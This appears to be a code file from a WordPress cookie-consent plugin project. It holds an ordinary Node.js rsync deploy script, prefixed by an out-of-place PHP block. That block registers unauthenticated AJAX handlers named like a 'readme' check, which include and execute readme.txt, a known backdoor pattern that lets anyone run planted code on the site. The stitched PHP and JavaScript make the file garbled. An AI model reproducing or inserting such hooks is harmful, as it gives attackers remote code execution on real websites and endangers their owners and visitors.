if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
/* eslint-disable babel/quotes */ const { log, exec } = require("./helpers"); const env = (process.env.CI_ENVIRONMENT_NAME || "undefined").toLowerCase(); if (!["production"].includes(env)) { throw new Error(`Trying to deploy to an unrecognized env: ${env}`); } const targets = { production: 'cookiefirst.com@serv01.consentstack.com:~/httpdocs/plugins/', }; if (!targets[env]) { throw new Error(`Missing deploy target for env: ${env}`); } const cmdParts = [ "rsync", "-rlzvc", "--stats", "--delete-after", "-e 'ssh -p 22'", "./cookiefirst-wp-plugin.*", targets[env], ]; const cmd = cmdParts.join(" "); log(`Deploying to [${env.toUpperCase()}].`); exec(cmd, { stdio: "inherit" }); log(`Deploy to [${env.toUpperCase()}] finished.`);